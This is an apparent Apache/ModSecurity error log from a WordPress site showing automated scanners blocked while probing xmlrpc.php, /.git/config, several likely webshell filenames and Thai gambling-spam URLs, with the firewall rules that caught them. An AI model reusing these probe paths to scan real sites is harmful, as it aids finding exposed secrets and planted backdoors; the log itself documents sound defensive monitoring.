[Fri Jan 30 03:12:36.858205 2026] [:error] [pid 39592:tid 39616] [client 143.110.190.80:55202] [client 143.110.190.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.110.190.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXuxJJlnGYODSsJUyHlhgwAAANM"]
[Fri Jan 30 03:50:40.020799 2026] [:error] [pid 46914:tid 46987] [client 144.172.112.54:34874] [client 144.172.112.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aXu6EFgSfJ4kZxNKlb-LhgAAAIk"]
[Fri Jan 30 04:57:23.212650 2026] [:error] [pid 47021:tid 47035] [client 66.70.178.228:39946] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXvJs9ap1k13UdZUNSQtrwAAAMw"]
[Fri Jan 30 06:04:18.634166 2026] [autoindex:error] [pid 24681:tid 24695] [client 164.90.142.198:65357] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Jan 30 06:41:37.728501 2026] [:error] [pid 24681:tid 24703] [client 185.183.110.3:36084] [client 185.183.110.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.183.110.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXviIYE368IXQpahn0LIBwAAARQ"]
[Fri Jan 30 06:51:41.287869 2026] [:error] [pid 38686:tid 38694] [client 20.219.1.210:8731] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w2025.php"] [unique_id "aXvkfQoE8BAjgw1_sAWlmgAAAcQ"]
[Fri Jan 30 06:51:41.608367 2026] [:error] [pid 24711:tid 24719] [client 20.219.1.210:8723] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w2025.php"] [unique_id "aXvkfa5Gwh4var6T23JVHwAAAUU"]
[Fri Jan 30 06:51:41.976844 2026] [:error] [pid 46912:tid 46935] [client 20.219.1.210:8773] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w2025.php"] [unique_id "aXvkfT6yiVW7A9NwFFkVTQAAAAs"]
[Fri Jan 30 06:51:42.439077 2026] [:error] [pid 24681:tid 24692] [client 20.219.1.210:8818] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w2025.php"] [unique_id "aXvkfoE368IXQpahn0LKWQAAAQk"]
[Fri Jan 30 06:51:43.266796 2026] [:error] [pid 24712:tid 24741] [client 20.219.1.210:8809] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app.php"] [unique_id "aXvkf4RLQrFiQF3h9-tk6AAAAYA"]
[Fri Jan 30 06:51:43.896361 2026] [:error] [pid 46914:tid 46997] [client 20.219.1.210:8800] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app.php"] [unique_id "aXvkf1gSfJ4kZxNKlb_D4AAAAJM"]
[Fri Jan 30 06:51:44.367669 2026] [:error] [pid 47021:tid 47042] [client 20.219.1.210:8794] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app.php"] [unique_id "aXvkgNap1k13UdZUNSRWngAAANM"]
[Fri Jan 30 06:51:44.862608 2026] [:error] [pid 46914:tid 46984] [client 20.219.1.210:8793] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app.php"] [unique_id "aXvkgFgSfJ4kZxNKlb_D4wAAAIY"]
[Fri Jan 30 06:51:45.161885 2026] [:error] [pid 47021:tid 47046] [client 20.219.1.210:8732] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aXvkgdap1k13UdZUNSRWqAAAANc"]
[Fri Jan 30 06:51:45.498841 2026] [:error] [pid 38686:tid 38700] [client 20.219.1.210:3009] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aXvkgQoE8BAjgw1_sAWltQAAAco"]
[Fri Jan 30 06:51:45.932355 2026] [:error] [pid 24712:tid 24750] [client 20.219.1.210:8777] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aXvkgYRLQrFiQF3h9-tk7AAAAYk"]
[Fri Jan 30 06:51:46.306881 2026] [:error] [pid 46913:tid 46966] [client 20.219.1.210:8706] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aXvkgjMWmKL8hOfC3uQlHAAAAE8"]
[Fri Jan 30 06:51:46.810759 2026] [:error] [pid 24711:tid 24726] [client 20.219.1.210:8786] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geaitasa.php"] [unique_id "aXvkgq5Gwh4var6T23JVIwAAAUw"]
[Fri Jan 30 06:51:47.321504 2026] [:error] [pid 47021:tid 47045] [client 20.219.1.210:8709] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geaitasa.php"] [unique_id "aXvkg9ap1k13UdZUNSRWrQAAANY"]
[Fri Jan 30 06:51:47.644900 2026] [:error] [pid 47021:tid 47040] [client 20.219.1.210:8710] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geaitasa.php"] [unique_id "aXvkg9ap1k13UdZUNSRWrgAAANE"]
[Fri Jan 30 06:51:48.009240 2026] [:error] [pid 46913:tid 46957] [client 20.219.1.210:8795] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geaitasa.php"] [unique_id "aXvkhDMWmKL8hOfC3uQlIAAAAEY"]
[Fri Jan 30 06:51:48.343164 2026] [:error] [pid 46914:tid 46994] [client 20.219.1.210:8797] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-cc.php"] [unique_id "aXvkhFgSfJ4kZxNKlb_D6AAAAJA"]
[Fri Jan 30 06:51:48.727515 2026] [:error] [pid 38980:tid 38995] [client 20.219.1.210:8717] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-cc.php"] [unique_id "aXvkhLYByxUZEaKXdHruTgAAAgg"]
[Fri Jan 30 06:51:49.204865 2026] [:error] [pid 38686:tid 38701] [client 20.219.1.210:8730] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-cc.php"] [unique_id "aXvkhQoE8BAjgw1_sAWluQAAAcs"]
[Fri Jan 30 06:51:49.607887 2026] [:error] [pid 46913:tid 46967] [client 20.219.1.210:8788] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-cc.php"] [unique_id "aXvkhTMWmKL8hOfC3uQlIQAAAFA"]
[Fri Jan 30 06:51:49.967633 2026] [:error] [pid 47021:tid 47047] [client 20.219.1.210:8728] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/reze.php"] [unique_id "aXvkhdap1k13UdZUNSRWtQAAANg"]
[Fri Jan 30 06:51:50.382510 2026] [:error] [pid 46914:tid 46990] [client 20.219.1.210:8714] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/reze.php"] [unique_id "aXvkhlgSfJ4kZxNKlb_D6wAAAIw"]
[Fri Jan 30 06:51:50.748690 2026] [:error] [pid 46913:tid 46961] [client 20.219.1.210:8803] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/reze.php"] [unique_id "aXvkhjMWmKL8hOfC3uQlIwAAAEo"]
[Fri Jan 30 06:51:51.150567 2026] [:error] [pid 46913:tid 46974] [client 20.219.1.210:8828] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/reze.php"] [unique_id "aXvkhzMWmKL8hOfC3uQlJAAAAFc"]
[Fri Jan 30 06:51:51.488465 2026] [:error] [pid 46914:tid 47000] [client 20.219.1.210:8748] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11092null.php"] [unique_id "aXvkh1gSfJ4kZxNKlb_D7AAAAJY"]
[Fri Jan 30 06:51:51.872263 2026] [:error] [pid 38980:tid 38993] [client 54.37.252.153:51400] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81.aspx"] [unique_id "aXvkh7YByxUZEaKXdHruUgAAAgY"]
[Fri Jan 30 06:51:51.920355 2026] [:error] [pid 24712:tid 24760] [client 20.219.1.210:8711] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11092null.php"] [unique_id "aXvkh4RLQrFiQF3h9-tk8gAAAZI"]
[Fri Jan 30 06:51:52.387780 2026] [:error] [pid 24681:tid 24701] [client 20.219.1.210:8729] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11092null.php"] [unique_id "aXvkiIE368IXQpahn0LKZgAAARI"]
[Fri Jan 30 06:51:52.829007 2026] [:error] [pid 24681:tid 24696] [client 20.219.1.210:8823] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11092null.php"] [unique_id "aXvkiIE368IXQpahn0LKZwAAAQ0"]
[Fri Jan 30 06:51:53.289436 2026] [:error] [pid 38686:tid 38703] [client 20.219.1.210:8747] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o2.php"] [unique_id "aXvkiQoE8BAjgw1_sAWlvQAAAc0"]
[Fri Jan 30 06:51:53.764592 2026] [:error] [pid 38686:tid 38708] [client 54.37.252.153:51404] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%20%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2%2010%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%20100.aspx"] [unique_id "aXvkiQoE8BAjgw1_sAWlvgAAAdI"]
[Fri Jan 30 06:51:54.031180 2026] [:error] [pid 47021:tid 47027] [client 20.219.1.210:8799] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o2.php"] [unique_id "aXvkitap1k13UdZUNSRWyAAAAMQ"]
[Fri Jan 30 06:51:54.424044 2026] [:error] [pid 24681:tid 24683] [client 20.219.1.210:8825] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o2.php"] [unique_id "aXvkioE368IXQpahn0LKbQAAAQA"]
[Fri Jan 30 06:51:54.854122 2026] [:error] [pid 46912:tid 46929] [client 20.219.1.210:8785] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o2.php"] [unique_id "aXvkij6yiVW7A9NwFFkVcAAAAAU"]
[Fri Jan 30 06:51:55.291528 2026] [:error] [pid 46912:tid 46935] [client 20.219.1.210:8781] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "aXvkiz6yiVW7A9NwFFkVcQAAAAs"]
[Fri Jan 30 06:51:55.665469 2026] [:error] [pid 38980:tid 38996] [client 20.219.1.210:8722] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "aXvki7YByxUZEaKXdHruVQAAAgk"]
[Fri Jan 30 06:51:55.815774 2026] [:error] [pid 47021:tid 47031] [client 54.37.252.153:51418] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXvki9ap1k13UdZUNSRW2AAAAMg"]
[Fri Jan 30 06:51:56.083850 2026] [:error] [pid 46912:tid 46943] [client 20.219.1.210:8775] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "aXvkjD6yiVW7A9NwFFkVcgAAABM"]
[Fri Jan 30 06:51:56.513238 2026] [:error] [pid 24711:tid 24720] [client 20.219.1.210:8726] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "aXvkjK5Gwh4var6T23JVKwAAAUY"]
[Fri Jan 30 06:51:56.956025 2026] [:error] [pid 38686:tid 38706] [client 20.219.1.210:8707] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/by.php"] [unique_id "aXvkjAoE8BAjgw1_sAWlxAAAAdA"]
[Fri Jan 30 06:51:57.528274 2026] [:error] [pid 24711:tid 24734] [client 20.219.1.210:8736] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/by.php"] [unique_id "aXvkja5Gwh4var6T23JVLAAAAVQ"]
[Fri Jan 30 06:51:57.720446 2026] [:error] [pid 38686:tid 38707] [client 54.37.252.153:51432] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20chang123.io.aspx"] [unique_id "aXvkjQoE8BAjgw1_sAWlxQAAAdE"]
[Fri Jan 30 06:51:58.409740 2026] [:error] [pid 46912:tid 46940] [client 20.219.1.210:8720] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/by.php"] [unique_id "aXvkjj6yiVW7A9NwFFkVdQAAABA"]
[Fri Jan 30 06:51:58.859136 2026] [:error] [pid 46914:tid 46987] [client 20.219.1.210:8721] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/by.php"] [unique_id "aXvkjlgSfJ4kZxNKlb_D8wAAAIk"]
[Fri Jan 30 06:51:59.347883 2026] [:error] [pid 47021:tid 47042] [client 20.219.1.210:8801] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zz8.php"] [unique_id "aXvkj9ap1k13UdZUNSRW3wAAANM"]
[Fri Jan 30 06:51:59.628565 2026] [:error] [pid 46913:tid 46974] [client 54.37.252.153:34420] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXvkjzMWmKL8hOfC3uQlMQAAAFc"]
[Fri Jan 30 06:52:00.198949 2026] [:error] [pid 38686:tid 38698] [client 20.219.1.210:8719] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zz8.php"] [unique_id "aXvkkAoE8BAjgw1_sAWlyQAAAcg"]
[Fri Jan 30 06:52:00.861797 2026] [:error] [pid 24711:tid 24724] [client 20.219.1.210:8758] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zz8.php"] [unique_id "aXvkkK5Gwh4var6T23JVMwAAAUo"]
